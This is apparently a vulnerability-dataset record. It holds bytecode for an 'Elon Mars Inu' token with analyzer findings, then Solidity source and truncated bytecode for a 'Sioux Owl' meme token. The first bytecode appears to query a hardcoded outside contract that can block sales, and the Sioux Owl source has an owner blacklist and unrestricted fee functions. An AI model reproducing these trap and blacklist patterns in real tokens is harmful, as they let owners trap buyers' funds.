0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b41146102985780639e752b95146102c9578063a9059cbb146102e9578063dd62ed3e14610309578063f42938901461034f57600080fd5b806356d9dce81461022657806370a082311461023b578063715018a61461025b5780638da5cb5b1461027057600080fd5b8063293230b8116100d1578063293230b8146101c9578063313ce567146101e05780633e07ce5b146101fc57806351bc3c851461021157600080fd5b806306fdde031461010e578063095ea7b31461015657806318160ddd1461018657806323b872dd146101a957600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600d81526c456c6f6e204d61727320496e7560981b60208201525b60405161014d91906114fb565b60405180910390f35b34801561016257600080fd5b50610176610171366004611565565b610364565b604051901515815260200161014d565b34801561019257600080fd5b5061019b61037b565b60405190815260200161014d565b3480156101b557600080fd5b506101766101c4366004611591565b61039c565b3480156101d557600080fd5b506101de610405565b005b3480156101ec57600080fd5b506040516006815260200161014d565b34801561020857600080fd5b506101de61077d565b34801561021d57600080fd5b506101de6107b3565b34801561023257600080fd5b506101de6107e0565b34801561024757600080fd5b5061019b6102563660046115d2565b610861565b34801561026757600080fd5b506101de610883565b34801561027c57600080fd5b506000546040516001600160a01b03909116815260200161014d565b3480156102a457600080fd5b50604080518082019091526008815267454c4f4e4d41525360c01b6020820152610140565b3480156102d557600080fd5b506101de6102e43660046115ef565b610927565b3480156102f557600080fd5b50610176610304366004611565565b610950565b34801561031557600080fd5b5061019b610324366004611608565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035b57600080fd5b506101de61095d565b60006103713384846109c7565b5060015b92915050565b60006103896006600a61173b565b610397906305f5e10061174a565b905090565b60006103a9848484610aeb565b6103fb84336103f6856040518060600160405280602881526020016118c8602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e27565b6109c7565b5060019392505050565b6009546001600160a01b0316331461041c57600080fd5b600c54600160a01b900460ff161561047b5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a79030906001600160a01b03166104996006600a61173b565b6103f6906305f5e10061174a565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051e9190611769565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a49190611769565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106159190611769565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061064581610861565b60008061065a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106c2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e79190611786565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610756573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077a91906117b4565b50565b6009546001600160a01b0316331461079457600080fd5b6107a06006600a61173b565b6107ae906305f5e10061174a565b600a55565b6009546001600160a01b031633146107ca57600080fd5b60006107d530610861565b905061077a81610e61565b6009546001600160a01b031633146107f757600080fd5b600c54600160a01b900460ff166108505760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610472565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461037590610fdb565b6000546001600160a01b031633146108dd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610472565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093e57600080fd5b6009811061094b57600080fd5b600855565b6000610371338484610aeb565b6009546001600160a01b0316331461097457600080fd5b4761077a81611058565b60006109c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611096565b9392505050565b6001600160a01b038316610a295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610472565b6001600160a01b038216610a8a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610472565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610472565b6001600160a01b038216610bb15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610472565b60008111610c135760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610472565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8691906117d6565b600c546001600160a01b038481169116148015610cb15750600b546001600160a01b03858116911614155b610cbc576000610cbe565b815b1115610cc957600080fd5b6000546001600160a01b03848116911614801590610cf557506000546001600160a01b03838116911614155b15610e1757600c546001600160a01b038481169116148015610d255750600b546001600160a01b03838116911614155b8015610d4a57506001600160a01b03821660009081526004602052604090205460ff16155b15610da057600a548110610da05760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610472565b6000610dab30610861565b600c54909150600160a81b900460ff16158015610dd65750600c546001600160a01b03858116911614155b8015610deb5750600c54600160b01b900460ff165b15610e1557610df981610e61565b47670de0b6b3a7640000811115610e1357610e1347611058565b505b505b610e228383836110c4565b505050565b60008184841115610e4b5760405162461bcd60e51b815260040161047291906114fb565b506000610e5884866117ef565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea957610ea9611806565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f269190611769565b81600181518110610f3957610f39611806565b6001600160a01b039283166020918202929092010152600b54610f5f91309116846109c7565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f9890859060009086903090429060040161181c565b600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110425760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610472565b600061104c6110cf565b90506109c0838261097e565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611092573d6000803e3d6000fd5b5050565b600081836110b75760405162461bcd60e51b815260040161047291906114fb565b506000610e58848661188d565b610e228383836110f2565b60008060006110dc6111e9565b90925090506110eb828261097e565b9250505090565b6000806000806000806111048761126b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061113690876112c8565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611165908661130a565b6001600160a01b03891660009081526002602052604090205561118781611369565b61119184836113b3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111d691815260200190565b60405180910390a3505050505050505050565b6005546000908190816111fe6006600a61173b565b61120c906305f5e10061174a565b905061123461121d6006600a61173b565b61122b906305f5e10061174a565b6005549061097e565b8210156112625760055461124a6006600a61173b565b611258906305f5e10061174a565b9350935050509091565b90939092509050565b60008060008060008060008060006112888a6007546008546113d7565b92509250925060006112986110cf565b905060008060006112ab8e87878761142c565b919e509c509a509598509396509194505050505091939550919395565b60006109c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e27565b60008061131783856118af565b9050838110156109c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610472565b60006113736110cf565b90506000611381838361147c565b3060009081526002602052604090205490915061139e908261130a565b30600090815260026020526040902055505050565b6005546113c090836112c8565b6005556006546113d0908261130a565b6006555050565b60008080806113f160646113eb898961147c565b9061097e565b9050600061140460646113eb8a8961147c565b9050600061141c826114168b866112c8565b906112c8565b9992985090965090945050505050565b600080808061143b888661147c565b90506000611449888761147c565b90506000611457888861147c565b905060006114698261141686866112c8565b939b939a50919850919650505050505050565b60008261148b57506000610375565b6000611497838561174a565b9050826114a4858361188d565b146109c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610472565b600060208083528351808285015260005b818110156115285785810183015185820160400152820161150c565b8181111561153a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077a57600080fd5b6000806040838503121561157857600080fd5b823561158381611550565b946020939093013593505050565b6000806000606084860312156115a657600080fd5b83356115b181611550565b925060208401356115c181611550565b929592945050506040919091013590565b6000602082840312156115e457600080fd5b81356109c081611550565b60006020828403121561160157600080fd5b5035919050565b6000806040838503121561161b57600080fd5b823561162681611550565b9150602083013561163681611550565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561169257816000190482111561167857611678611641565b8085161561168557918102915b93841c939080029061165c565b509250929050565b6000826116a957506001610375565b816116b657506000610375565b81600181146116cc57600281146116d6576116f2565b6001915050610375565b60ff8411156116e7576116e7611641565b50506001821b610375565b5060208310610133831016604e8410600b8410161715611715575081810a610375565b61171f8383611657565b806000190482111561173357611733611641565b029392505050565b60006109c060ff84168361169a565b600081600019048311821515161561176457611764611641565b500290565b60006020828403121561177b57600080fd5b81516109c081611550565b60008060006060848603121561179b57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c657600080fd5b815180151581146109c057600080fd5b6000602082840312156117e857600080fd5b5051919050565b60008282101561180157611801611641565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561186c5784516001600160a01b031683529383019391830191600101611847565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118aa57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118c2576118c2611641565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122079ca1a0ea921c6ff4cd053de3dc540914ea6d8701a1f782cf97dbf810975813564736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,368 |
0x866f2566Cd4c91038903E484ad2729dC8DFe4B65
|
// SPDX-License-Identifier: MIT
/**
Sioux Owl - SIOUXOWL
TG https://t.me/siouxowl
Max Tx 1,000,000 (1%)
Total 100,000,000
Tax 6%
Slippage 40%
**/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SiouxOwl is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Sioux Owl";
string private constant _symbol = "SIOUXOWL";
uint8 private constant _decimals = 8;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeWallet;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 public _maxTxAmount = 1000000*10**_decimals;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeWallet = payable(_msgSender());
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeWallet] = true;
emit MaxTxAmountUpdated(_maxTxAmount);
emit Transfer(address(0), address(this), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!bots[from]);
_feeAddr1 = 3;
_feeAddr2 = 3;
if (from != owner() && to != owner()) {
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
// buy
require(amount <= _maxTxAmount);
require(tradingOpen);
}
if ( from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
if(to == uniswapV2Pair){
_feeAddr1 = 3;
_feeAddr2 = 3;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 200000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeWallet.transfer(amount);
}
function liftMaxTxPercentage(uint256 percentage) external onlyOwner{
require(percentage>1);
_maxTxAmount = _tTotal.mul(percentage).div(100);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function createPair() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiquidity() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner{
tradingOpen = true;
}
function setBots(address[] memory bots_,bool isBot) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = isBot;
}
}
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
swapTokensForEth(balanceOf(address(this)));
}
function manualsend() external {
sendETHToFee(address(this).balance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c80638da5cb5b116100a0578063a9059cbb11610064578063a9059cbb14610307578063c3c8cd8014610327578063c9567bf91461033c578063dd62ed3e14610351578063e8078d941461039757600080fd5b80638da5cb5b1461025957806395d89b411461028157806398d24403146102b25780639c0db5f3146102d25780639e78fb4f146102f257600080fd5b8063313ce567116100e7578063313ce567146101db5780636fc3eaec146101f757806370a082311461020e578063715018a61461022e5780637d1db4a51461024357600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101bb57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600981526814da5bdd5e0813dddb60ba1b60208201525b60405161015f91906115bc565b60405180910390f35b34801561017457600080fd5b50610188610183366004611636565b6103ac565b604051901515815260200161015f565b3480156101a457600080fd5b506101ad6103c3565b60405190815260200161015f565b3480156101c757600080fd5b506101886101d6366004611662565b6103e4565b3480156101e757600080fd5b506040516008815260200161015f565b34801561020357600080fd5b5061020c61044d565b005b34801561021a57600080fd5b506101ad6102293660046116a3565b610458565b34801561023a57600080fd5b5061020c61047a565b34801561024f57600080fd5b506101ad600e5481565b34801561026557600080fd5b506000546040516001600160a01b03909116815260200161015f565b34801561028d57600080fd5b5060408051808201909152600881526714d253d55613d5d360c21b6020820152610152565b3480156102be57600080fd5b5061020c6102cd3660046116c0565b6104f7565b3480156102de57600080fd5b5061020c6102ed366004611708565b610598565b3480156102fe57600080fd5b5061020c6106ec565b34801561031357600080fd5b50610188610322366004611636565b6108c5565b34801561033357600080fd5b5061020c6108d2565b34801561034857600080fd5b5061020c6108e3565b34801561035d57600080fd5b506101ad61036c3660046117df565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103a357600080fd5b5061020c610922565b60006103b9338484610a9c565b5060015b92915050565b60006103d16008600a611912565b6103df906305f5e100611921565b905090565b60006103f1848484610bc0565b610443843361043e85604051806060016040528060288152602001611acf602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ea2565b610a9c565b5060019392505050565b61045647610edc565b565b6001600160a01b0381166000908152600260205260408120546103bd90610f1a565b6000546001600160a01b031633146104ad5760405162461bcd60e51b81526004016104a490611940565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105215760405162461bcd60e51b81526004016104a490611940565b6001811161052e57600080fd5b61055d6064610557836105436008600a611912565b610551906305f5e100611921565b90610f9e565b90611020565b600e8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146105c25760405162461bcd60e51b81526004016104a490611940565b60005b82518110156106e757600c5483516001600160a01b03909116908490839081106105f1576105f1611975565b60200260200101516001600160a01b0316141580156106425750600d5483516001600160a01b039091169084908390811061062e5761062e611975565b60200260200101516001600160a01b031614155b80156106795750306001600160a01b031683828151811061066557610665611975565b60200260200101516001600160a01b031614155b156106d557816006600085848151811061069557610695611975565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806106df8161198b565b9150506105c5565b505050565b6000546001600160a01b031633146107165760405162461bcd60e51b81526004016104a490611940565b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561075e30826107506008600a611912565b61043e906305f5e100611921565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107c091906119a4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561080d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083191906119a4565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561087e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a291906119a4565b600d80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103b9338484610bc0565b6104566108de30610458565b611062565b6000546001600160a01b0316331461090d5760405162461bcd60e51b81526004016104a490611940565b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b0316331461094c5760405162461bcd60e51b81526004016104a490611940565b600c546001600160a01b031663f305d719473061096881610458565b60008061097d6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e5573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a0a91906119c1565b5050600d8054600160b01b60ff60b01b19821617909155600c5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9991906119ef565b50565b6001600160a01b038316610afe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a4565b6001600160a01b038216610b5f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a4565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c245760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a4565b6001600160a01b038216610c865760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a4565b60008111610ce85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104a4565b6001600160a01b03831660009081526006602052604090205460ff1615610d0e57600080fd5b60036009819055600a556000546001600160a01b03848116911614801590610d4457506000546001600160a01b03838116911614155b15610e9757600d546001600160a01b038481169116148015610d745750600c546001600160a01b03838116911614155b8015610d9957506001600160a01b03821660009081526005602052604090205460ff16155b15610dc357600e54811115610dad57600080fd5b600d54600160a01b900460ff16610dc357600080fd5b600c546001600160a01b03848116911614801590610dfa57506001600160a01b03831660009081526005602052604090205460ff16155b15610e2057600d546001600160a01b0390811690831603610e205760036009819055600a555b6000610e2b30610458565b600d54909150600160a81b900460ff16158015610e565750600d546001600160a01b03858116911614155b8015610e6b5750600d54600160b01b900460ff165b15610e9557610e7981611062565b476702c68af0bb140000811115610e9357610e9347610edc565b505b505b6106e78383836111dc565b60008184841115610ec65760405162461bcd60e51b81526004016104a491906115bc565b506000610ed38486611a0c565b95945050505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f16573d6000803e3d6000fd5b5050565b6000600754821115610f815760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104a4565b6000610f8b6111e7565b9050610f978382611020565b9392505050565b600082600003610fb0575060006103bd565b6000610fbc8385611921565b905082610fc98583611a23565b14610f975760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104a4565b6000610f9783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061120a565b600d805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110aa576110aa611975565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611103573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061112791906119a4565b8160018151811061113a5761113a611975565b6001600160a01b039283166020918202929092010152600c546111609130911684610a9c565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611199908590600090869030904290600401611a45565b600060405180830381600087803b1580156111b357600080fd5b505af11580156111c7573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b6106e7838383611238565b60008060006111f461132f565b90925090506112038282611020565b9250505090565b6000818361122b5760405162461bcd60e51b81526004016104a491906115bc565b506000610ed38486611a23565b60008060008060008061124a876113b1565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061127c908761140e565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112ab9086611450565b6001600160a01b03891660009081526002602052604090205